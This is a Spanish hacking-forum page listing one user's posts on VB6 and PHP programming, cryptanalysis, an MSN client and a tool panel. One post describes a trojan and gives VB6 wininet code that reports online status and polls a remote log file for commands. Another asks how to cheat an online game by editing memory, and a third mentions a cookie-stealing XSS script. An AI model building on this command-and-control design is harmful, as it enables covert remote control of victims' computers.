elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Sigue las noticias más importantes de seguridad informática en el Twitter! de elhacker.NET


  Mostrar Temas
Páginas: 1 [2]
11  Programación / Programación Visual Basic / [Source] The Golden Bug (Análisis de Frecuencia) en: 11 Octubre 2008, 15:46 pm
Hola a todos. Estos días he estado desarrollando una aplicación de análisis de frecuencia. Me interesó tras estudiar un poco este tipo de análisis para descifrar algoritmos simples de sustitución de caracteres como por ejemplo la cifrado César. Para el que no lo sepa...

En el criptoanálisis, el análisis de frecuencias es el estudio de la frecuencias de las letras o grupos de letras en un texto cifrado. Es un método de apoyo para la ruptura de cifrados clásicos.

Citar
El análisis de frecuencias está basado en el hecho de que, dado un texto, ciertas letras o combinaciones de letras aparecen más a menudo que otras, existiendo distintas frecuencias para ellas. Es más, existe una distribución característica de las letras que es prácticamente la misma para la mayoría de ejemplos de ese lenguaje. Por ejemplo, en inglés la letra E es muy común, mientras que la X es muy rara. Igualmente, las combinaciones ST, NG, TH y QU son pares de letras comunes, mientras que NZ y QJ son raros. La frase mnemotécnica "ETAOIN SHRDLU" agrupa las doce letras más frecuentes en los textos ingleses. En español, las vocales son muy frecuentes, ocupando alrededor del 45% del texto, siendo la E y la A las que aparecen en más ocasiones, mientras que la frecuencia sumada de F, Z, J, X, W y K no alcanza el 2%.

En algunos cifradores, las propiedades naturales del texto plano se preservan en el texto cifrado. Dichos esquemas pueden ser potencialmente objeto de ataques de sólo texto cifrado.

El caso es que estudié un poco todo esto y busqué alguna aplicación que me permitiese hacer este tipo de análisis pero no encontré ninguna, encontré una en inglés que me aconsejaron en el foro de criptografía, pero sólo funcionaba con sustitución de letras, y yo, basándome en el libro de "El Escarabajo de Oro" de Edgar Allan Poe quería hacer un análisis de frecuencia del mensaje cifrado del libro, y ese programa no me servía. Así que como no encontraba nada, ni en inglés ni en Español, me he dedicado a hacer yo uno mismo. Es muy sencillo, simplemente escribes un texto o bien lo importas desde un txt y el programa realiza un análisis de la frecuencia con la que aparecen los caracteres en el texto y muestra una gráfica con el resultado. Luego permite abrir unas gráficas con las letras más frecuentes en el inglés y en el español y con comparativas se puede deducir el significado de estos textos. Para quien no lo entienda muy bien, tiene un ejemplo que explicaron hace un tiempo en este mismo foro:
http://foro.elhacker.net/criptografia/criptografia_el_escarabajo_de_oro_uso_de_analisis_de_frecuencia-t212428.0.html

Esta aplicación nos ayudaría a hallar la tabla de caracteres que obtiene el autor de dicho relato por lógica.

Bueno, siento haberme extendido tanto, pero quería explicar bien qué hace esta herramienta, y aquí la comparto con vosotros. Se aceptan críticas, sugerencias y modificaciones del código.



The Golden Bug Source.zip
Con el Source adjunto el libro de "El Escarabajo de Oro" en pdf para quien quiera leerlo, es un relato muy cortito. También lo pueden encontrar en wikisource ya que es de libre distribución.

PD: Para todo aquel que crea que este tipo de cifrado está obsoleta que investigue como funciona la cifrado WEP (para redes wifi) y que investigue qué método usa aircrack para crackear las contraseñas :)

Saludos!
12  Media / Juegos y Consolas / ¿Memoria "congelada"? en: 18 Agosto 2008, 01:42 am
Hola a tod@s. Antes que nada deciros que no sabía donde poner este tema exactamente así que lo pongo aquí.Si algún moderador considera oportuno moverlo, que lo haga ;)

A ver mi problema es que estoy probando a modificar un valor en memoria, un valor de un juego. Uso la herramienta T-Search... no sé si la conoceréis... pero permite buscar valores en memoria y modificarlos.Bien, pues en muchos juegos ya lo he hecho.Busco y modifico el valor que quiero, por ejemplo el dinero o la vida y ya está. Soy rico e invencible xddd. La cosa es que en este juego en concreto tengo un problema. Al intentar cambiar el valor y congelarlo, no lo permite, si por ejemplo busco el valor 100 (porque es la vida que tengo en el juego) y lo encuentro y lo congelo para que nunca baje, esto no surte efecto y la vida baja normal...

Si la vida está en 70 por ejemplo y modifico el valor por 100, automáticamente se vuelve el valor a 70, aunque congele el valor en memoria con la opción "freeze". No hay manera de modificar estos valores y me gustaría modificarlos.

El juego es online, pero he modificado valores en otros juegos online y nunca tuve este problema... Además en este juego en concreto tiene pinta de que estos valores corren del lado del cliente y si consigo modificarlos podré tener vida infinita y esas tonterías. Me ha pasado en un par de juegos ya y me gustaría saber por qué y si hay forma de solucionarlo.

¿Alguien sabe como modificar estos "valores restringidos"?¿Alguna idea, algún manual, alguna ayuda?

Saludos, y gracias de antemano!
13  Media / Multimedia / ¿Programa de edicion de video? en: 28 Diciembre 2007, 14:49 pm
Hola a todos, quería haceros una pregunta. A ver si conociáis algún programa bueno para la edición de vídeo, cortar el vídeo, añadir efectos, poner música, añadirle textos y demás. Quiero que tenga bastantes posibilidades, digamos que si yo preguntase en el foro de diseño gráfico por un buen programa de diseño de imagen me dirían: Photoshop, Gimp, Corel Draw... o alguno así porque son los más potentes, pues quería preguntar aquí si alguien conoce programas potentes pero para la edición de vídeo porque la verdad no conozco este tema y necesito editar algunos vídeos, espero vuestra respuesta.

Un saludo y gracias ;)
14  Programación / PHP / Ayuda con PHP e includes en: 13 Septiembre 2007, 22:02 pm
Hola, venía a ver si podían ayudarme porque llevo un buen rato comiendome el coco y no hay forma de hacer algo que quiero. No sé mucho de PHP, lo básico, y estoy haciendo mi web en php y así voy aprendiendo, y me ha surgido un problema el cual he buscado ya en google y he usado el buscador del foro pero no he encontrado respuestas.

El caso es que mi web está estructurada de esta forma:

Es una tabla colocada con 2 filas y en la fila inferior tiene dos columnas, así el logo, osea el header de la web es un include('header.htm');, el menu es un include('menu.php'); y luego el principal es una variable contenido con un switch y según el enlace que abras, este abre la variable, osea, include($contenido);, el switch se encarga de dar el valor correspondiente a contenido y todo funciona muy bien.

El problema es que hay una sección llamada noticias.php. Esta sección tiene otro include ya que instalé un gestor de noticias en mi web y la sección noticias.php tiene su diseño correspondiente y dentro un include("../noticias/news.php"); el problema es que este include no lo carga, se queda vacío, carga lo que es el diseño de noticias.php pero no el include("../noticias/news.php"); entonces no sé que hacer para que lo cargue.
¿El problema es que no es posible usar un include dentro de otro?,osea si yo tengo un archivo x que incluya al archivo y, el archivo y no puede tener a su vez un include que incluya un archivo z??, ese es mi caso y no encuentro solución, a ver si alguno de vosotros puede ayudarme, como podría solucionar esto?, alguna idea por favor?

Saludos y gracias de antemano.
15  Programación / Programación Visual Basic / Problema con apis wininet en: 29 Agosto 2007, 19:52 pm
Buenas, una vez más estoy aquí con un problemilla, bueno una duda existencial que tengo :O a ver si me la podéis resolver.

Estoy programando una aplicación, se le puede llamar troyano o como sea. La cosa es que por los problemas de conexiones con routers, firewalls y demás, el troyano funciona de la siguiente forma.
Un archivo PHP se aloja en cualquier server junto a un log.txt. El troyano envia los datos por GET osea http://miserver.com/ miarchivo.php?comando=comando a ejecutar
Este archivo.php captura el comando y lo deja en el log.txt

El server va descargando el archivo log.txt y según el comando que tenga, lo ejecuta.
Bien pues lo hago con la api wininet para ahorrar dependencias, ya sé que puedo hacer eso con Winsock y con Inet pero no quiero dependencias para el server de un troyano.
Bueno pues el código en general funciona todo bien, tarda apenas 1 ó 2 segundos en realizarse todo el proceso pero la cosa es que el server para comprobar que comando tiene que ejecutar tiene que descargar el archivo log.txt continuamente, lo hago con un timer, pero esque al tener que conectar tantas veces se ralentiza y no quiero que se consuman tantos recursos...

Me gustaría que conectase y una vez abierta la conexión el resto de veces descargase el archivo puesto que la conexión no la cierro, pero no funciona...alguien podría decirme como arreglarlo?, esque si obligadamente tengo que conectar cada ve que quiero recargar el archivo, osea cada segundo, puff, eso lo va a notar el rendimiento del pc, consume más recursos... se nota considerablemente...

El código es el siguiente, a ver si me podéis ayudar.
Código
  1. ' variables generales
  2. Dim data As String
  3. Dim x As Boolean
  4. ' Constantes para las funciones Api
  5. Const scUserAgent = "API-Guide test program"
  6. Const INTERNET_OPEN_TYPE_DIRECT = 1
  7. Const INTERNET_FLAG_RELOAD = &H80000000
  8. Const INTERNET_FLAG_NO_CACHE_WRITE = &H4000000
  9. ' Crea conexión a internet
  10. Private Declare Function InternetOpen Lib "wininet" Alias "InternetOpenA" ( _
  11.    ByVal sAgent As String, _
  12.    ByVal lAccessType As Long, _
  13.    ByVal sProxyName As String, _
  14.    ByVal sProxyBypass As String, _
  15.    ByVal lFlags As Long) As Long
  16. ' Abre URL
  17. Private Declare Function InternetOpenUrl Lib "wininet" Alias "InternetOpenUrlA" ( _
  18.    ByVal hInternetSession As Long, _
  19.    ByVal lpszUrl As String, _
  20.    ByVal lpszHeaders As String, _
  21.    ByVal dwHeadersLength As Long, _
  22.    ByVal dwFlags As Long, _
  23.    ByVal dwContext As Long) As Long
  24. ' Cierra conexión
  25. Private Declare Function InternetCloseHandle Lib "wininet" (ByVal hInet As Long) As Integer
  26. 'CONTENIDO DEL FICHERO
  27. Private Declare Function InternetReadFile Lib "wininet" ( _
  28. ByVal hFile As Long, _
  29. ByVal sBuffer As String, _
  30. ByVal lNumBytesToRead As Long, _
  31. lNumberOfBytesRead As Long) As Integer
  32. 'Variables para recargar constantemente
  33. Dim hOpen As Long
  34. Dim hFile As Long
  35.  
  36. '///////// MANDAMOS MENSAJE ONLINE AL EJECUTAR ///////////////
  37. Private Sub Form_Load()
  38. 'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION
  39. Dim hOpen As Long
  40. Dim hFile As Long
  41. Dim Url As String
  42.  
  43. Url = "http://miserver/log.php?comando=online"
  44.  
  45.        hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _
  46.        vbNullString, vbNullString, 0)
  47.        hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
  48.        ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
  49. DoEvents
  50. x = True
  51. Timer1.Enabled = True
  52. End Sub
  53. '///////// MANDAMOS MENSAJE OFFLINE AL CERRAR ///////////////
  54. Private Sub Form_Unload(Cancel As Integer)
  55. 'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION
  56. Dim hOpen As Long
  57. Dim hFile As Long
  58. Dim Url As String
  59.  
  60. Url = "http://miserver.com/log.php?comando=offline"
  61.  
  62.        hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _
  63.        vbNullString, vbNullString, 0)
  64.        hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
  65.        ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
  66. Espera (1)
  67. End Sub
  68. '//////////////////////////////////////////////////////////////
  69. Private Sub Timer1_Timer()
  70. 'ASIGNAMOS VARIABLES Y ABRIMOS CONEXION
  71. Dim sBuffer As String * 128
  72. Dim Ret As Long
  73. Dim str_Total As String
  74. Dim Url As String
  75. If x = True Then
  76.  
  77. Url = "http://miserver.com/log.txt"
  78.  
  79.        hOpen = InternetOpen(scUserAgent, INTERNET_OPEN_TYPE_DIRECT, _
  80.        vbNullString, vbNullString, 0)
  81.        hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
  82.        ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
  83. 'LEEMOS FICHERO
  84.  
  85.        Call InternetReadFile(hFile, sBuffer, 128, Ret)
  86.  
  87.        str_Total = sBuffer
  88.  
  89.        While Ret <> 0
  90.            Call InternetReadFile(hFile, sBuffer, 128, Ret)
  91.            str_Total = str_Total & Mid(sBuffer, 1, Ret)
  92.            DoEvents
  93.        Wend
  94.        x = False
  95.  
  96. Else
  97.    'DESCARGAMOS FICHERO
  98.     hFile = InternetOpenUrl(hOpen, Trim$(Url), vbNullString, _
  99.        ByVal 0&, INTERNET_FLAG_NO_CACHE_WRITE, ByVal 0&)
  100.        Call InternetReadFile(hFile, sBuffer, 128, Ret)
  101.  
  102.        str_Total = sBuffer
  103.        While Ret <> 0
  104.            Call InternetReadFile(hFile, sBuffer, 128, Ret)
  105.            str_Total = str_Total & Mid(sBuffer, 1, Ret)
  106.            DoEvents
  107.        Wend
  108.  
  109.        Text1.Text = str_Total
  110. End If
  111. End Sub
  112.  
  113. Sub Espera(Segundos As Single)
  114.  Dim ComienzoSeg As Single
  115.  Dim FinSeg As Single
  116.  ComienzoSeg = Timer
  117.  FinSeg = ComienzoSeg + Segundos
  118.  Do While FinSeg > Timer
  119.      DoEvents
  120.      If ComienzoSeg > Timer Then
  121.          FinSeg = FinSeg - 24 * 60 * 60
  122.      End If
  123.  Loop
  124. End Sub
  125.  


Como podéis ver la parte importante es la deltimer que es la que tiene un valor x=true, para que la primera vez haga el proceso completo pero luego la pone en false para que el timer solo descargue el archivo puesto que la conexión supuestamente está abierta porque yo no la cerré. Quizás me estoy equivocando y esto que quiero hacer no es factible, pero si es así aclarádmelo por favor, porque me estoy comiendo el coco demasiado xDD
Saludos,

y gracias de antemano.
16  Programación / Programación Visual Basic / Duda sobre protocolos MSN en VB6 en: 28 Agosto 2007, 22:25 pm
Hola, pues llevo más o menos toda la tarde líado con un intento de cliente de msn. Ya sé que hay muchos códigos por google y eso, pero no me gustan, hay algunos que tienen demasiado código basura que no me sirve de nada, he leído bastante sobre los protocolos de MSN y creo que tengo ya una idea de como funcionan y si no me equivoco esto que hice, está correcto, sé que puede optimizarse, y lo haré pero de momento simplemente quería que conectase, el problema es que no lo hace. En el data_arrival del socket una vez conectado he capturado los datos que recibe y me sale ???????????????

No sé que pasará por eso os pido ayuda a ver si sabéis ayudarme un poco, el código es el siguiente:

Código
  1. Dim data, aux, keys As String
  2. Dim vaux As Variant
  3.  
  4. Private Sub Command1_Click()
  5. Winsock1.Connect "messenger.hotmail.com", 1863
  6. End Sub
  7.  
  8. Private Sub Winsock1_Connect()
  9. Winsock1.SendData "VER 1 MSNP8 CVR0" & vbCrLf
  10. End Sub
  11.  
  12. Private Sub Winsock1_DataArrival(ByVal bytesTotal As Long)
  13. Winsock1.GetData data
  14. Winsock1.GetData aux
  15. data = Left(data, 3)
  16.  
  17. Select Case data
  18.  
  19. Case "VER"
  20. Winsock1.SendData "CVR 2 0x0C0A winnt 5.1 i386 MSNMSGR 7.5.0311 MSMSGS " & Text1.Text & vbCrLf
  21.  
  22. Case "CVR"
  23. '//EL TEXT1.TEXT CONTIENE LA CUENTA CON LA QUE QUIERO CONECTAR
  24. Winsock1.SendData "USR 3 TWN I " & Text1.Text & vbCrLf
  25.  
  26.  
  27. Case "XFR"  '//                       AQUÍ LO QUE HAGO ES COGER SOLO
  28. aux = Mid(aux, 9, 18)             'LA PARTE DEL PAQUETE QUE TIENE LOS
  29. vaux = Split(aux, ":")              'DATOS QUE ME INTERESAN
  30. Winsock1.Close
  31. Winsock2.Connect vaux(0), vaux(1)
  32. End Select
  33. End Sub
  34.  
  35.  
  36. Private Sub Winsock2_Connect()
  37. Winsock1.SendData "VER 4 MSNP8 CVR0" & vbCrLf
  38. End Sub
  39.  
  40.  
  41. Private Sub Winsock2_DataArrival(ByVal bytesTotal As Long)
  42. Winsock2.GetData data
  43. Winsock2.GetData aux
  44.  
  45. Select Case data
  46. data = Left(data, 3)
  47. Case "VER"
  48. Winsock2.SendData "CVR 5 0x0409 win 4.10 i386 MSNMSGR 5.0.0544 MSMSGS " & Text1.Text & vbCrLf
  49.  
  50. Case "CVR"
  51. Winsock2.SendData "USR 6 TWN I " & Text1.Text & vbCrLf
  52.  
  53. Case "USR"
  54. Dim a As Integer
  55. a = Len(aux) - 11
  56. keys = Mid(aux, 11, a)
  57. Winsock3.Connect "login.passport.com", 443
  58. End Select
  59. End Sub
  60.  
  61. Private Sub Winsock3_Connect()
  62. Winsock3.SendData "GET /login2.srf HTTP/1.0" & vbCrLf & _
  63.                  "Accept: */*" & vbCrLf & _
  64.                  "Host: login.passport.com" & vbCrLf & _
  65.                  "Authorization: Passport1 0.4 OrgVerb=GET,OrgURL=http%3A%2F%2Fmessenger%2Emsn%2Ecom,signin=" & Text1.Text & ",pwd=password," & keys & vbCrLf
  66.  
  67. End Sub
  68.  
  69. Private Sub Winsock3_DataArrival(ByVal bytesTotal As Long)
  70. Winsock3.GetData data
  71. End Sub
  72.  

Y bueno eso es todo el código, ni que decir tiene que no pasa ni de la primera acción, puse un timer que capturase en todo momento el valor "data" y desde que conecta y envía el primer comando ya el data se vuelve "????????" no sé por que, porque si hago los mismos pasos desde telnet o netcat me va devolviendo bien los valores.

Alguna idea para ayudarme por favor??

Gracias
17  Programación / Programación Visual Basic / [Dwarf's Hack-Tool 1.0] Espero críticas y sugerencias :P en: 26 Agosto 2007, 21:01 pm
Hola, la idea de hacer este post es que he programado una utilidad, una herramienta... llamémosle como sea pero quería compartir con todos vosotros la idea y por supuesto pues espero críticas, sugerencias para mejorarla... nose... lo que queráis.

La herramienta se llama Dwarf's Hack-Tool y está programada en Visual Basic 6, el por qué de ese nombre tiene una pequeña historia que no viene al caso. En fin lo importante es en que consiste:

La herramienta en sí es un panel desplegable, que se integra a la derecha de la pantalla de Windows (está preparado para resoluciones de 1024x768). Tiene un botón con las flechas que hacen desplegar o contraer el panel aunque también puede contraerse y expandirse pulsando la tecla F12.
Os dejo unas capturas para que veáis el panel contraído y expandido.
Se integra en la parte inferior derecha de la pantalla.



Bueno la idea de hacer esto fue realmente por comodidad, por facilitar el acceso a todas las herramientas que tengo. Porque un amigo me pidió que hiciera unas pruebas en su web de XSS y claro mientras buscaba el archivo que capturaba las cookies, los scripts y demás que no recordaba donde tenía tardé bastante tiempo, está bien tenerlo todo bien organizado, que la verdad es que si que suelo tenerlo pero con este panel lo tengo todo mucho más a mano.
Necesito el sniffer: clickeo en sniffer, necesito un escáner: pulso en escáners y selecciono el que quiera, necesito netcat: pulso en shell y se despliegan los programas de shell que más comúnmente uso: el cmd, el netcat, telnet y putty.


Bueno la idea era simplificar bastante todas las herramientas que uso en mi PC y además mantengo el escritorio limpio de miles de accesos directos y demás como podéis ver en las capturas está todo bastante organizado.
Además ya pensé en incluírle algunas opciones más, por ejemplo a la derecha del panel véis unos pequeños iconos de unidades de disco,me permite abrir mis particiones sin tener que entrar a "Mi PC", luego el candado que aparece me permite bloquear el PC. Esto más que nada lo pensé porque tengo primos pequeños, hermanos y demás y muchas veces me voy un momento a algún sitio y no quiero que toquen el PC. Normalmente apagaba la pantalla pero pueden tocar el teclado y demás, pues bueno esta opción abre un Form que ocupa toda la pantalla, se coloca por encima de cualquier otro programa y esconde la barra de tareas y anula CTRL+ALT+SUPR, para bloquear el PC me pide un nombre de usuario y password, para que cualquiera no lo bloquee.



También tiene una opción de configuración donde están todas las ubicaciones de los programas que ejecuta el panel y demás, por ejemplo por si tengo ahora el telnet de windows en C:\WINDOWS\System32\telnet.exe y me descargo otro cliente de telnet que me parece mejor, entro en la configuración y modifico la ubicación del programa fácilmente, y ya me cargará ese programa cuando pulse en telnet en lugar del telnet de Windows.


He intentado hacerlo todo de la forma más cómoda posible. Y bueno todos los datos de las ubicaciones las guarda en un archivo "config.ini" que carga cada vez que se inicia el programa.
El panel se añade además al registro y se inicia con Windows para no tener que estar ejecutándolo cada vez que inicie Windows, además al contraerse no molesta nada así que a mi de momento me va bastante bien.
Bueno además he dejado 4 iconos que son personalizables. Osea entras en la configuracion y pones el nombre del programa que va a abrir ese icono y su ubicación. Ej:Calculadora  C:\WINDOWS\System32\calc.exe. Guardas la configuración y ya ese botón abrira siempre la calculadora hasta que quieras cambiar la configuración. Puedes hacer también que abra una página web, una lista de reproducción de música, una película... lo que quieras.


Aunque pareza simple tiene sus cositas el programa y el diseño también es completamente mío así que me ha llevado sus horas programar el panel completo, ahora está en versión BETA y lo estoy probando en mi pc a ver que tal va.
Aquí tenéis el panel que trabaja por encima de cualquier ventana, navegador o cualquier programa para tener todas las herramientas a mano, y si molesta pulsas F12 y lo contraes, así de simple ;)


Bueno lo único que espero, que como véis aún sobra espacio en el panel por si teníais alguna sugerencia más que ponerle, cualquier idea será bienvenida. Y críticas para mejorarlo... quitarle algo, añadirle algo más tal vez... nosé lo que queráis me ayudaríais mucho.

Pues eso es todo, gracias por leer el post y espero vuestras sugerencias y críticas.
Pronto publicaré el programa y posiblemente también su código fuente ;)

Saludos,

Auron
Páginas: 1 [2]
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines